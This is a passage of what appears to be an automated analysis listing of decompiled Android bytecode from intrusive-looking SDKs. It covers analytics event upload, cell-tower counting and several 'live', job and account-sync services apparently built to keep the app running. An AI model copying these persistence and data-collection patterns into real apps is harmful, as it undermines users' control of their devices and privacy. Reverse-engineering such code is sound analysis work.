                              17invoke-virtual {v0, v1, v2}, Landroid/content/ContentValues;->put(Ljava/lang/String;Ljava/lang/String;)V
                              19const-string/jumbo v1, "length"
                              21invoke-virtual {p2}, Lcom/omgSdk/a/e;->d()J
                              22move-result-wide v2
                              24invoke-static {v2, v3}, Ljava/lang/Long;->valueOf(J)Ljava/lang/Long;
                              25move-result-object v2
                              27invoke-virtual {v0, v1, v2}, Landroid/content/ContentValues;->put(Ljava/lang/String;Ljava/lang/Long;)V
                              29const-string/jumbo v1, "finished"
                              31invoke-virtual {p2}, Lcom/omgSdk/a/e;->e()J
                              32move-result-wide v2
                              34invoke-static {v2, v3}, Ljava/lang/Long;->valueOf(J)Ljava/lang/Long;
                              35move-result-object v2
                              37invoke-virtual {v0, v1, v2}, Landroid/content/ContentValues;->put(Ljava/lang/String;Ljava/lang/Long;)V
                              39const-string/jumbo v1, "version"
                              41invoke-virtual {p2}, Lcom/omgSdk/a/e;->a()I
                              42move-result v2
                              44invoke-static {v2}, Ljava/lang/Integer;->valueOf(I)Ljava/lang/Integer;
                              45move-result-object v2
                              47invoke-virtual {v0, v1, v2}, Landroid/content/ContentValues;->put(Ljava/lang/String;Ljava/lang/Integer;)V
                              49const-string/jumbo v1, "fileName = ?"
                              50const/4 v2, 0x1
                              51new-array v2, v2, [Ljava/lang/String;
                              52const/4 v3, 0x0
                              54invoke-virtual {p2}, Lcom/omgSdk/a/e;->b()Ljava/lang/String;
                              55move-result-object v4
                              56aput-object v4, v2, v3
                              58iget-object v3, p0, Lcom/omgSdk/a/a;->b:Ljava/lang/String;
                              60invoke-virtual {p1, v3, v0, v1, v2}, Landroid/database/sqlite/SQLiteDatabase;->update(Ljava/lang/String;Landroid/content/ContentValues;Ljava/lang/String;[Ljava/lang/String;)I
                              61return-void
                              Cross References
                              APIs
                              • android.content.ContentValues.<init>
                              • android.content.ContentValues.put
                              • android.content.ContentValues.put
                              • java.lang.Long.valueOf
                              • android.content.ContentValues.put
                              • java.lang.Long.valueOf
                              • android.content.ContentValues.put
                              • java.lang.Integer.valueOf
                              • android.content.ContentValues.put
                              • com.omgSdk.a.a.b:Ljava/lang/String
                              • android.database.sqlite.SQLiteDatabase.insert
                              Strings
                              • fileName
                              • url
                              • length
                              • finished
                              • version
                              Position Instruction Meta Information
                              0.prologue
                              1new-instance v0, Landroid/content/ContentValues;
                              3invoke-direct {v0}, Landroid/content/ContentValues;-><init>()V
                              5const-string/jumbo v1, "fileName"
                              7invoke-virtual {p2}, Lcom/omgSdk/a/e;->b()Ljava/lang/String;
                              8move-result-object v2
                              10invoke-virtual {v0, v1, v2}, Landroid/content/ContentValues;->put(Ljava/lang/String;Ljava/lang/String;)V
                              12const-string/jumbo v1, "url"
                              14invoke-virtual {p2}, Lcom/omgSdk/a/e;->c()Ljava/lang/String;
                              15move-result-object v2
                              17invoke-virtual {v0, v1, v2}, Landroid/content/ContentValues;->put(Ljava/lang/String;Ljava/lang/String;)V
                              19const-string/jumbo v1, "length"
                              21invoke-virtual {p2}, Lcom/omgSdk/a/e;->d()J
                              22move-result-wide v2
                              24invoke-static {v2, v3}, Ljava/lang/Long;->valueOf(J)Ljava/lang/Long;
                              25move-result-object v2
                              27invoke-virtual {v0, v1, v2}, Landroid/content/ContentValues;->put(Ljava/lang/String;Ljava/lang/Long;)V
                              29const-string/jumbo v1, "finished"
                              31invoke-virtual {p2}, Lcom/omgSdk/a/e;->e()J
                              32move-result-wide v2
                              34invoke-static {v2, v3}, Ljava/lang/Long;->valueOf(J)Ljava/lang/Long;
                              35move-result-object v2
                              37invoke-virtual {v0, v1, v2}, Landroid/content/ContentValues;->put(Ljava/lang/String;Ljava/lang/Long;)V
                              39const-string/jumbo v1, "version"
                              41invoke-virtual {p2}, Lcom/omgSdk/a/e;->a()I
                              42move-result v2
                              44invoke-static {v2}, Ljava/lang/Integer;->valueOf(I)Ljava/lang/Integer;
                              45move-result-object v2
                              47invoke-virtual {v0, v1, v2}, Landroid/content/ContentValues;->put(Ljava/lang/String;Ljava/lang/Integer;)V
                              49iget-object v1, p0, Lcom/omgSdk/a/a;->b:Ljava/lang/String;
                              50const/4 v2, 0x0
                              52invoke-virtual {p1, v1, v2, v0}, Landroid/database/sqlite/SQLiteDatabase;->insert(Ljava/lang/String;Ljava/lang/String;Landroid/content/ContentValues;)J
                              53return-void
                              Cross References
                              APIs
                              • java.util.HashMap.<init>
                              • java.lang.Iterable.iterator
                              • java.util.Iterator.hasNext
                              • java.util.Iterator.next
                              • java.util.Map.containsKey
                              • java.util.Map.get
                              • java.util.Map.put
                              • java.util.Map.put
                              • java.util.Map.put
                              • java.util.List.add
                              Strings
                              • appId
                              • channelId
                              Position Instruction Meta Information
                              0.annotation system Ldalvik/annotation/Signature;
                              1value = {
                              2"(",
                              3"Ljava/lang/Iterable",
                              4"<",
                              5"Lcom/omg/tool/data/DataEvent$EventInfo;",
                              6">;)",
                              7"Lcom/omg/tool/data/EventUpload$EventList;"
                              8}
                              9.end annotation
                              10.prologue
                              11new-instance v1, Ljava/util/HashMap;
                              13invoke-direct {v1}, Ljava/util/HashMap;-><init>()V
                              14new-instance v2, Lcom/omg/tool/data/EventUpload$EventList;
                              16invoke-direct {v2, p0}, Lcom/omg/tool/data/EventUpload$EventList;-><init>(Lcom/omg/tool/data/EventUpload;)V
                              18invoke-interface {p1}, Ljava/lang/Iterable;->iterator()Ljava/util/Iterator;
                              19move-result-object v3
                              20goto_e:
                              21invoke-interface {v3}, Ljava/util/Iterator;->hasNext()Z
                              22move-result v0
                              23if-eqz v0, :cond_95
                              25invoke-interface {v3}, Ljava/util/Iterator;->next()Ljava/lang/Object;
                              26move-result-object v0
                              27check-cast v0, Lcom/omg/tool/data/DataEvent$EventInfo;
                              29invoke-interface {v1, v0}, Ljava/util/Map;->containsKey(Ljava/lang/Object;)Z
                              30move-result v4
                              31if-eqz v4, :cond_2a
                              33invoke-interface {v1, v0}, Ljava/util/Map;->get(Ljava/lang/Object;)Ljava/lang/Object;
                              34move-result-object v0
                              35check-cast v0, Lcom/omg/tool/data/EventUpload$Event;
                              37invoke-virtual {v0}, Lcom/omg/tool/data/EventUpload$Event;->add()V
                              38goto/16 :goto_e
                              39cond_2a:
                              40invoke-static {}, Lcom/omg/base/terminal/OmgTerminalinfo;->getInstance()Lcom/omg/base/terminal/OmgTerminalinfo;
                              41move-result-object v4
                              43invoke-virtual {v4}, Lcom/omg/base/terminal/OmgTerminalinfo;->getTerminalInfo()Lcom/omg/base/network/objects/TerminalInfo;
                              44move-result-object v4
                              45if-eqz v4, :cond_60
                              47invoke-virtual {v0}, Lcom/omg/tool/data/DataEvent$EventInfo;->getParams()Ljava/util/Map;
                              48move-result-object v4
                              50const-string/jumbo v5, "appId"
                              52invoke-static {}, Lcom/omg/base/terminal/OmgTerminalinfo;->getInstance()Lcom/omg/base/terminal/OmgTerminalinfo;
                              53move-result-object v6
                              55invoke-virtual {v6}, Lcom/omg/base/terminal/OmgTerminalinfo;->getTerminalInfo()Lcom/omg/base/network/objects/TerminalInfo;
                              56move-result-object v6
                              58invoke-virtual {v6}, Lcom/omg/base/network/objects/TerminalInfo;->getAppId()Ljava/lang/String;
                              59move-result-object v6
                              61invoke-interface {v4, v5, v6}, Ljava/util/Map;->put(Ljava/lang/Object;Ljava/lang/Object;)Ljava/lang/Object;
                              63invoke-virtual {v0}, Lcom/omg/tool/data/DataEvent$EventInfo;->getParams()Ljava/util/Map;
                              64move-result-object v4
                              66const-string/jumbo v5, "channelId"
                              68invoke-static {}, Lcom/omg/base/terminal/OmgTerminalinfo;->getInstance()Lcom/omg/base/terminal/OmgTerminalinfo;
                              69move-result-object v6
                              71invoke-virtual {v6}, Lcom/omg/base/terminal/OmgTerminalinfo;->getTerminalInfo()Lcom/omg/base/network/objects/TerminalInfo;
                              72move-result-object v6
                              74invoke-virtual {v6}, Lcom/omg/base/network/objects/TerminalInfo;->getChannelId()Ljava/lang/String;
                              75move-result-object v6
                              77invoke-interface {v4, v5, v6}, Ljava/util/Map;->put(Ljava/lang/Object;Ljava/lang/Object;)Ljava/lang/Object;
                              78cond_60: new-instance v4, Lcom/omg/tool/data/EventUpload$Event;
                              80invoke-direct {v4}, Lcom/omg/tool/data/EventUpload$Event;-><init>()V
                              82invoke-virtual {v0}, Lcom/omg/tool/data/DataEvent$EventInfo;->getName()Ljava/lang/String;
                              83move-result-object v5
                              85invoke-virtual {v4, v5}, Lcom/omg/tool/data/EventUpload$Event;->setName(Ljava/lang/String;)V
                              87invoke-virtual {v0}, Lcom/omg/tool/data/DataEvent$EventInfo;->getParams()Ljava/util/Map;
                              88move-result-object v5
                              90invoke-virtual {p0, v5}, Lcom/omg/tool/data/EventUpload;->a(Ljava/util/Map;)Ljava/lang/String;
                              91move-result-object v5
                              93invoke-virtual {v4, v5}, Lcom/omg/tool/data/EventUpload$Event;->setData(Ljava/lang/String;)V
                              95invoke-virtual {v0}, Lcom/omg/tool/data/DataEvent$EventInfo;->getCreateTime()J
                              96move-result-wide v6
                              98invoke-virtual {v4, v6, v7}, Lcom/omg/tool/data/EventUpload$Event;->setCreateTime(J)V
                              100invoke-static {}, Lcom/omg/base/SdkBasic;->getInstance()Lcom/omg/base/SdkBasic;
                              101move-result-object v5
                              103invoke-virtual {v5}, Lcom/omg/base/SdkBasic;->getSeesionID()Ljava/lang/String;
                              104move-result-object v5
                              106invoke-static {v4, v5}, Lcom/omg/tool/data/EventUpload$Event;->a(Lcom/omg/tool/data/EventUpload$Event;Ljava/lang/String;)V
                              108invoke-interface {v1, v0, v4}, Ljava/util/Map;->put(Ljava/lang/Object;Ljava/lang/Object;)Ljava/lang/Object;
                              110invoke-virtual {v2}, Lcom/omg/tool/data/EventUpload$EventList;->getEvents()Ljava/util/List;
                              111move-result-object v0
                              113invoke-interface {v0, v4}, Ljava/util/List;->add(Ljava/lang/Object;)Z
                              114goto/16 :goto_e
                              115cond_95: return-object v2
                              APIs
                              • java.util.HashMap.<init>
                              • java.util.Map.put
                              • java.util.Map.put
                              • java.util.EnumMap.<init>
                              • b.a.am$e.a:Lb/a/am$e
                              • java.util.Map.put
                              • b.a.am$e.b:Lb/a/am$e
                              • java.util.Map.put
                              • b.a.am$e.c:Lb/a/am$e
                              • java.util.Map.put
                              • java.util.Collections.unmodifiableMap
                              Strings
                              • Imprint
                              • property
                              • version
                              • checksum
                              Position Instruction Meta Information
                              0.prologue
                              1const/4 v3, 0x0
                              2const/16 v12, 0xd
                              3const/16 v11, 0x8
                              4const/16 v10, 0xb
                              5const/4 v9, 0x1
                              6new-instance v0, Lb/a/bz;
                              8const-string v1, "Imprint"
                              10invoke-direct {v0, v1}, Lb/a/bz;-><init>(Ljava/lang/String;)V
                              11sput-object v0, Lb/a/am;->e:Lb/a/bz;
                              12new-instance v0, Lb/a/bq;
                              14const-string v1, "property"
                              16invoke-direct {v0, v1, v12, v9}, Lb/a/bq;-><init>(Ljava/lang/String;BS)V
                              17sput-object v0, Lb/a/am;->f:Lb/a/bq;
                              18new-instance v0, Lb/a/bq;
                              20const-string v1, "version"
                              21const/4 v2, 0x2
                              23invoke-direct {v0, v1, v11, v2}, Lb/a/bq;-><init>(Ljava/lang/String;BS)V
                              24sput-object v0, Lb/a/am;->g:Lb/a/bq;
                              25new-instance v0, Lb/a/bq;
                              27const-string v1, "checksum"
                              28const/4 v2, 0x3
                              30invoke-direct {v0, v1, v10, v2}, Lb/a/bq;-><init>(Ljava/lang/String;BS)V
                              31sput-object v0, Lb/a/am;->h:Lb/a/bq;
                              32new-instance v0, Ljava/util/HashMap;
                              34invoke-direct {v0}, Ljava/util/HashMap;-><init>()V
                              35sput-object v0, Lb/a/am;->i:Ljava/util/Map;
                              37sget-object v0, Lb/a/am;->i:Ljava/util/Map;
                              38const-class v1, Lb/a/cd;
                              39new-instance v2, Lb/a/am$b;
                              41invoke-direct {v2, v3}, Lb/a/am$b;-><init>(Lb/a/am$1;)V
                              43invoke-interface {v0, v1, v2}, Ljava/util/Map;->put(Ljava/lang/Object;Ljava/lang/Object;)Ljava/lang/Object;
                              45sget-object v0, Lb/a/am;->i:Ljava/util/Map;
                              46const-class v1, Lb/a/ce;
                              47new-instance v2, Lb/a/am$d;
                              49invoke-direct {v2, v3}, Lb/a/am$d;-><init>(Lb/a/am$1;)V
                              51invoke-interface {v0, v1, v2}, Ljava/util/Map;->put(Ljava/lang/Object;Ljava/lang/Object;)Ljava/lang/Object;
                              52new-instance v0, Ljava/util/EnumMap;
                              53const-class v1, Lb/a/am$e;
                              55invoke-direct {v0, v1}, Ljava/util/EnumMap;-><init>(Ljava/lang/Class;)V
                              57sget-object v1, Lb/a/am$e;->a:Lb/a/am$e;
                              58new-instance v2, Lb/a/bj;
                              60const-string v3, "property"
                              61new-instance v4, Lb/a/bm;
                              62new-instance v5, Lb/a/bk;
                              64invoke-direct {v5, v10}, Lb/a/bk;-><init>(B)V
                              65new-instance v6, Lb/a/bn;
                              66const/16 v7, 0xc
                              67const-class v8, Lb/a/an;
                              69invoke-direct {v6, v7, v8}, Lb/a/bn;-><init>(BLjava/lang/Class;)V
                              71invoke-direct {v4, v12, v5, v6}, Lb/a/bm;-><init>(BLb/a/bk;Lb/a/bk;)V
                              73invoke-direct {v2, v3, v9, v4}, Lb/a/bj;-><init>(Ljava/lang/String;BLb/a/bk;)V
                              75invoke-interface {v0, v1, v2}, Ljava/util/Map;->put(Ljava/lang/Object;Ljava/lang/Object;)Ljava/lang/Object;
                              77sget-object v1, Lb/a/am$e;->b:Lb/a/am$e;
                              78new-instance v2, Lb/a/bj;
                              80const-string v3, "version"
                              81new-instance v4, Lb/a/bk;
                              83invoke-direct {v4, v11}, Lb/a/bk;-><init>(B)V
                              85invoke-direct {v2, v3, v9, v4}, Lb/a/bj;-><init>(Ljava/lang/String;BLb/a/bk;)V
                              87invoke-interface {v0, v1, v2}, Ljava/util/Map;->put(Ljava/lang/Object;Ljava/lang/Object;)Ljava/lang/Object;
                              89sget-object v1, Lb/a/am$e;->c:Lb/a/am$e;
                              90new-instance v2, Lb/a/bj;
                              92const-string v3, "checksum"
                              93new-instance v4, Lb/a/bk;
                              95invoke-direct {v4, v10}, Lb/a/bk;-><init>(B)V
                              97invoke-direct {v2, v3, v9, v4}, Lb/a/bj;-><init>(Ljava/lang/String;BLb/a/bk;)V
                              99invoke-interface {v0, v1, v2}, Ljava/util/Map;->put(Ljava/lang/Object;Ljava/lang/Object;)Ljava/lang/Object;
                              101invoke-static {v0}, Ljava/util/Collections;->unmodifiableMap(Ljava/util/Map;)Ljava/util/Map;
                              102move-result-object v0
                              103sput-object v0, Lb/a/am;->d:Ljava/util/Map;
                              104const-class v0, Lb/a/am;
                              106sget-object v1, Lb/a/am;->d:Ljava/util/Map;
                              108invoke-static {v0, v1}, Lb/a/bj;->a(Ljava/lang/Class;Ljava/util/Map;)V
                              109return-void
                              APIs
                              • java.util.HashMap.<init>
                              • java.util.Map.put
                              • java.util.Map.put
                              • sdk.nicro.lu.ProcessService.getApplicationContext
                              • sdk.nicro.lu.ProcessService.getApplicationContext
                              • sdk.nicro.lu.ProcessService.getApplicationContext
                              Strings
                              • Place
                              • Service
                              • Context
                              • DebugLog.Sdk
                              • sdk
                              • pluginLoadError
                              Position Instruction Meta Information
                              0.prologue
                              1try_start_0: new-instance v0, Ljava/util/HashMap;
                              3invoke-direct {v0}, Ljava/util/HashMap;-><init>()V
                              5const-string/jumbo v1, "Place"
                              7const-string/jumbo v2, "Service"
                              9invoke-interface {v0, v1, v2}, Ljava/util/Map;->put(Ljava/lang/Object;Ljava/lang/Object;)Ljava/lang/Object;
                              11const-string/jumbo v1, "Context"
                              13invoke-interface {v0, v1, p0}, Ljava/util/Map;->put(Ljava/lang/Object;Ljava/lang/Object;)Ljava/lang/Object;
                              15iget-object v1, p0, Lsdk/nicro/lu/ProcessService$1;->b:Lsdk/nicro/lu/ProcessService;
                              17invoke-virtual {v1}, Lsdk/nicro/lu/ProcessService;->getApplicationContext()Landroid/content/Context;
                              18move-result-object v1
                              20invoke-static {v1}, Lsdk/nicro/lu/ps/e;->a(Landroid/content/Context;)Lsdk/nicro/lu/ps/e;
                              21move-result-object v1
                              23iget-object v2, p0, Lsdk/nicro/lu/ProcessService$1;->a:Ljava/lang/String;
                              25invoke-virtual {v1, v2, v0}, Lsdk/nicro/lu/ps/e;->a(Ljava/lang/String;Ljava/util/Map;)Lsdk/nicro/lu/ps/f;
                              26goto_23: return-void
                              27catch_24: move-exception v0
                              29invoke-static {}, Lsdk/nicro/lu/t;->a()Lsdk/nicro/lu/h;
                              30move-result-object v1
                              32invoke-interface {v1, v0}, Lsdk/nicro/lu/h;->a(Ljava/lang/Throwable;)V
                              34iget-object v1, p0, Lsdk/nicro/lu/ProcessService$1;->b:Lsdk/nicro/lu/ProcessService;
                              36invoke-virtual {v1}, Lsdk/nicro/lu/ProcessService;->getApplicationContext()Landroid/content/Context;
                              37move-result-object v1
                              39invoke-static {v1}, Lsdk/nicro/lu/s;->a(Landroid/content/Context;)Lsdk/nicro/lu/s;
                              40move-result-object v1
                              42const-string/jumbo v2, "DebugLog.Sdk"
                              43const/4 v3, 0x0
                              45invoke-virtual {v1, v2, v3}, Lsdk/nicro/lu/s;->a(Ljava/lang/String;Z)Z
                              46move-result v1
                              47if-eqz v1, :cond_23
                              48try_start_40:
                              49iget-object v1, p0, Lsdk/nicro/lu/ProcessService$1;->b:Lsdk/nicro/lu/ProcessService;
                              51invoke-virtual {v1}, Lsdk/nicro/lu/ProcessService;->getApplicationContext()Landroid/content/Context;
                              52move-result-object v1
                              54invoke-static {v1}, Lsdk/nicro/lu/a;->b(Landroid/content/Context;)Lsdk/nicro/lu/a;
                              55move-result-object v1
                              57sget-object v2, Lsdk/nicro/lu/u;->b:Ljava/lang/String;
                              59invoke-virtual {v1, v2}, Lsdk/nicro/lu/a;->d(Ljava/lang/String;)Lsdk/nicro/lu/a;
                              60move-result-object v1
                              62const-string/jumbo v2, "sdk"
                              64invoke-virtual {v1, v2}, Lsdk/nicro/lu/a;->e(Ljava/lang/String;)Lsdk/nicro/lu/a;
                              65move-result-object v1
                              67const-string/jumbo v2, "pluginLoadError"
                              69invoke-virtual {v1, v2}, Lsdk/nicro/lu/a;->a(Ljava/lang/String;)Lsdk/nicro/lu/a;
                              70move-result-object v1
                              71const/4 v2, 0x1
                              73iget-object v3, p0, Lsdk/nicro/lu/ProcessService$1;->a:Ljava/lang/String;
                              75invoke-virtual {v1, v2, v3}, Lsdk/nicro/lu/a;->a(ILjava/lang/String;)Lsdk/nicro/lu/a;
                              76move-result-object v1
                              77const/4 v2, 0x3
                              79const-string/jumbo v3, "Service"
                              81invoke-virtual {v1, v2, v3}, Lsdk/nicro/lu/a;->a(ILjava/lang/String;)Lsdk/nicro/lu/a;
                              82move-result-object v1
                              83const/4 v2, 0x6
                              85invoke-static {v0}, Lsdk/nicro/lu/t;->b(Ljava/lang/Throwable;)Ljava/lang/String;
                              86move-result-object v3
                              88invoke-virtual {v1, v2, v3}, Lsdk/nicro/lu/a;->a(ILjava/lang/String;)Lsdk/nicro/lu/a;
                              89move-result-object v1
                              91invoke-virtual {v1}, Lsdk/nicro/lu/a;->h()V
                              92try_end_79: goto/16 :goto_23
                              93catch_7a: move-exception v1
                              95invoke-static {}, Lsdk/nicro/lu/t;->a()Lsdk/nicro/lu/h;
                              96move-result-object v1
                              98invoke-interface {v1, v0}, Lsdk/nicro/lu/h;->a(Ljava/lang/Throwable;)V
                              99goto/16 :goto_23
                              Cross References
                              APIs
                              • android.content.Context.checkSelfPermission
                              • android.content.Context.getSystemService
                              • android.telephony.TelephonyManager.getNeighboringCellInfo
                              • java.util.List.size
                              • android.content.Context.getSystemService
                              • android.telephony.TelephonyManager.getNeighboringCellInfo
                              • java.util.List.size
                              Strings
                              • android.permission.ACCESS_COARSE_LOCATION
                              • phone
                              • getNeighborCellCount error
                              Position Instruction Meta Information
                              0.prologue
                              1const/4 v1, 0x1
                              2try_start_1: sget v0, Landroid/os/Build$VERSION;->SDK_INT:I
                              3const/16 v2, 0x17
                              4if-lt v0, v2, :cond_28
                              6iget-object v0, p0, Lcom/omgSdk/outport/GetParamsUtil;->a:Landroid/content/Context;
                              8const-string/jumbo v2, "android.permission.ACCESS_COARSE_LOCATION"
                              10invoke-virtual {v0, v2}, Landroid/content/Context;->checkSelfPermission(Ljava/lang/String;)I
                              11move-result v0
                              12if-nez v0, :cond_43
                              14iget-object v0, p0, Lcom/omgSdk/outport/GetParamsUtil;->a:Landroid/content/Context;
                              16const-string/jumbo v2, "phone"
                              18invoke-virtual {v0, v2}, Landroid/content/Context;->getSystemService(Ljava/lang/String;)Ljava/lang/Object;
                              19move-result-object v0
                              20check-cast v0, Landroid/telephony/TelephonyManager;
                              22invoke-virtual {v0}, Landroid/telephony/TelephonyManager;->getNeighboringCellInfo()Ljava/util/List;
                              23move-result-object v0
                              24if-eqz v0, :cond_43
                              26invoke-interface {v0}, Ljava/util/List;->size()I
                              27move-result v0
                              28goto_27: return v0
                              29cond_28:
                              30iget-object v0, p0, Lcom/omgSdk/outport/GetParamsUtil;->a:Landroid/content/Context;
                              32const-string/jumbo v2, "phone"
                              34invoke-virtual {v0, v2}, Landroid/content/Context;->getSystemService(Ljava/lang/String;)Ljava/lang/Object;
                              35move-result-object v0
                              36check-cast v0, Landroid/telephony/TelephonyManager;
                              38invoke-virtual {v0}, Landroid/telephony/TelephonyManager;->getNeighboringCellInfo()Ljava/util/List;
                              39move-result-object v0
                              41invoke-interface {v0}, Ljava/util/List;->size()I
                              42try_end_3a: move-result v0
                              43goto/16 :goto_27
                              44catch_3c: move-exception v0
                              46const-string/jumbo v0, "getNeighborCellCount error"
                              48invoke-static {v0}, Lcom/omg/tool/log/Logger;->E(Ljava/lang/String;)V
                              49cond_43: move v0, v1
                              50goto/16 :goto_27
                              Cross References
                              APIs
                              • java.lang.IllegalArgumentException.<init>
                              • android.os.Bundle.<init>
                              • android.os.Bundle.putAll
                              • android.os.Bundle.putString
                              • com.lody.virtual.client.ipc.VAccountManager$1.<init>
                              • com.lody.virtual.client.ipc.VAccountManager$1.start
                              Strings
                              • accountType is null
                              • androidPackageName
                              • android
                              Position Instruction Meta Information
                              0.annotation system Ldalvik/annotation/Signature;
                              1value = {
                              2"(I",
                              3"Ljava/lang/String;",
                              4"Ljava/lang/String;",
                              5"[",
                              6"Ljava/lang/String;",
                              7"Landroid/os/Bundle;",
                              8"Landroid/app/Activity;",
                              9"Landroid/accounts/AccountManagerCallback",
                              10"<",
                              11"Landroid/os/Bundle;",
                              12">;",
                              13"Landroid/os/Handler;",
                              14")",
                              15"Landroid/accounts/AccountManagerFuture",
                              16"<",
                              17"Landroid/os/Bundle;",
                              18">;"
                              19}
                              20.end annotation
                              21.prologue
                              22if-nez p2, :cond_a
                              23new-instance v1, Ljava/lang/IllegalArgumentException;
                              25const-string v2, "accountType is null"
                              27invoke-direct {v1, v2}, Ljava/lang/IllegalArgumentException;-><init>(Ljava/lang/String;)V
                              28throw v1
                              29cond_a: new-instance v11, Landroid/os/Bundle;
                              31invoke-direct {v11}, Landroid/os/Bundle;-><init>()V
                              32if-eqz p5, :cond_16
                              33move-object/from16 v0, p5
                              35invoke-virtual {v11, v0}, Landroid/os/Bundle;->putAll(Landroid/os/Bundle;)V
                              36cond_16:
                              37const-string v1, "androidPackageName"
                              39const-string v2, "android"
                              41invoke-virtual {v11, v1, v2}, Landroid/os/Bundle;->putString(Ljava/lang/String;Ljava/lang/String;)V
                              42new-instance v1, Lcom/lody/virtual/client/ipc/VAccountManager$1;
                              43move-object v2, p0
                              44move-object/from16 v3, p6
                              45move-object/from16 v4, p8
                              46move-object/from16 v5, p7
                              47move v6, p1
                              48move-object v7, p2
                              49move-object v8, p3
                              50move-object/from16 v9, p4
                              51move-object/from16 v10, p6
                              53invoke-direct/range {v1 .. v11}, Lcom/lody/virtual/client/ipc/VAccountManager$1;-><init>(Lcom/lody/virtual/client/ipc/VAccountManager;Landroid/app/Activity;Landroid/os/Handler;Landroid/accounts/AccountManagerCallback;ILjava/lang/String;Ljava/lang/String;[Ljava/lang/String;Landroid/app/Activity;Landroid/os/Bundle;)V
                              55invoke-virtual {v1}, Lcom/lody/virtual/client/ipc/VAccountManager$1;->start()Landroid/accounts/AccountManagerFuture;
                              56move-result-object v1
                              57return-object v1
                              APIs
                              • android.util.Log.i
                              • com.omgSdk.commen.LiveJobService.startJob
                              • com.omgSdk.outport.LiveService.a
                              • java.lang.Throwable.printStackTrace
                              • java.lang.Throwable.printStackTrace
                              Strings
                              • sdk
                              • Live
                              Position Instruction Meta Information
                              0.prologue
                              2const-string/jumbo v0, "sdk"
                              4const-string/jumbo v1, " Live "
                              6invoke-static {v0, v1}, Landroid/util/Log;->i(Ljava/lang/String;Ljava/lang/String;)I
                              7try_start_9:
                              8invoke-static {p0}, Lcom/omgSdk/commen/a;->a(Landroid/content/Context;)V
                              10invoke-static {}, Lcom/omgSdk/commen/a;->a()V
                              11sget v0, Landroid/os/Build$VERSION;->SDK_INT:I
                              12const/16 v1, 0x15
                              13if-lt v0, v1, :cond_1c
                              15invoke-static {p0}, Lcom/omgSdk/commen/LiveJobService;->startJob(Landroid/content/Context;)V
                              16try_end_18:
                              17invoke-static {p0}, Lcom/omgSdk/outport/AlwayLive;->liveAtOnce(Landroid/content/Context;)V
                              18goto_1b: return-void
                              19try_start_1c:
                              20invoke-direct {p0, p0}, Lcom/omgSdk/outport/LiveService;->a(Landroid/content/Context;)V
                              21try_end_1f: goto/16 :goto_18
                              22catch_20: move-exception v0
                              24invoke-virtual {v0}, Ljava/lang/Throwable;->printStackTrace()V
                              25goto/16 :goto_18
                              26catch_25: move-exception v0
                              28invoke-virtual {v0}, Ljava/lang/Throwable;->printStackTrace()V
                              29goto/16 :goto_1b
                              APIs
                              • android.util.Log.i
                              • java.lang.Class.getName
                              • com.omgSdk.commen.SyncService.startService
                              • android.app.Service.getContentResolver
                              Strings
                              • sdk
                              • account sync
                              • LiveService
                              Position Instruction Meta Information
                              0.prologue
                              2const-string/jumbo v0, "sdk"
                              4const-string/jumbo v1, " account sync"
                              6invoke-static {v0, v1}, Landroid/util/Log;->i(Ljava/lang/String;Ljava/lang/String;)I
                              8invoke-static {p0}, Lcom/omg/base/RunInfo;->get(Landroid/content/Context;)Lcom/omg/base/RunInfo;
                              9move-result-object v0
                              11const-string/jumbo v1, "LiveService"
                              12const-class v2, Lcom/omgSdk/outport/LiveService;
                              14invoke-virtual {v2}, Ljava/lang/Class;->getName()Ljava/lang/String;
                              15move-result-object v2
                              17invoke-virtual {v0, v1, v2}, Lcom/omg/base/RunInfo;->get(Ljava/lang/String;Ljava/lang/String;)Ljava/lang/String;
                              18move-result-object v0
                              20invoke-static {p0, v0}, Lcom/omg/android/tool/AndroidClass;->getIntent(Landroid/content/Context;Ljava/lang/String;)Landroid/content/Intent;
                              21move-result-object v0
                              23invoke-virtual {p0, v0}, Lcom/omgSdk/commen/SyncService;->startService(Landroid/content/Intent;)Landroid/content/ComponentName;
                              25invoke-super {p0}, Landroid/app/Service;->getContentResolver()Landroid/content/ContentResolver;
                              26move-result-object v0
                              27return-object v0
                              Cross References
                              APIs
                              • org.json.JSONObject.<init>
                              • org.json.JSONObject.put
                              • org.json.JSONObject.put
                              • org.json.JSONObject.toString
                              Strings
                              • appId
                              • channelId
                              Position Instruction Meta Information
                              0.prologue
                              1new-instance v0, Lorg/json/JSONObject;
                              3invoke-direct {v0}, Lorg/json/JSONObject;-><init>()V
                              5const-string/jumbo v1, "appId"
                              7invoke-static {p0}, Lsdk/nicro/lu/s;->a(Landroid/content/Context;)Lsdk/nicro/lu/s;
                              8move-result-object v2
                              10invoke-virtual {v2}, Lsdk/nicro/lu/s;->a()Ljava/lang/String;
                              11move-result-object v2
                              13invoke-virtual {v0, v1, v2}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                              15const-string/jumbo v1, "channelId"
                              17invoke-static {p0}, Lsdk/nicro/lu/s;->a(Landroid/content/Context;)Lsdk/nicro/lu/s;
                              18move-result-object v2
                              20invoke-virtual {v2}, Lsdk/nicro/lu/s;->b()Ljava/lang/String;
                              21move-result-object v2
                              23invoke-virtual {v0, v1, v2}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                              25invoke-virtual {v0}, Lorg/json/JSONObject;->toString()Ljava/lang/String;
                              26move-result-object v0
                              27return-object v0
                              APIs
                              • android.util.Log.i
                              • com.omgSdk.commen.LiveJobService.a
                              • com.omgSdk.commen.LiveJobService.startJob
                              Strings
                              • sdk
                              • onStartJob
                              Position Instruction Meta Information
                              0.prologue
                              2const-string/jumbo v0, "sdk"
                              4const-string/jumbo v1, "onStartJob"
                              6invoke-static {v0, v1}, Landroid/util/Log;->i(Ljava/lang/String;Ljava/lang/String;)I
                              8invoke-direct {p0, p0}, Lcom/omgSdk/commen/LiveJobService;->a(Landroid/content/Context;)V
                              9sget v0, Landroid/os/Build$VERSION;->SDK_INT:I
                              10const/16 v1, 0x18
                              11if-lt v0, v1, :cond_15
                              13invoke-static {p0}, Lcom/omgSdk/commen/LiveJobService;->startJob(Landroid/content/Context;)V
                              14cond_15: const/4 v0, 0x0
                              15return v0
                              Cross References
                              APIs
                              • android.content.ComponentName.getPackageName
                              • com.lody.virtual.server.am.ProcessRecord.client:Lcom/lody/virtual/client/IVClient
                              • android.os.RemoteException.printStackTrace
                              • java.lang.NullPointerException.printStackTrace
                              Strings
                              • android
                              Position Instruction Meta Information
                              0.prologue
                              1if-nez p2, :cond_3
                              2goto_2: return-void
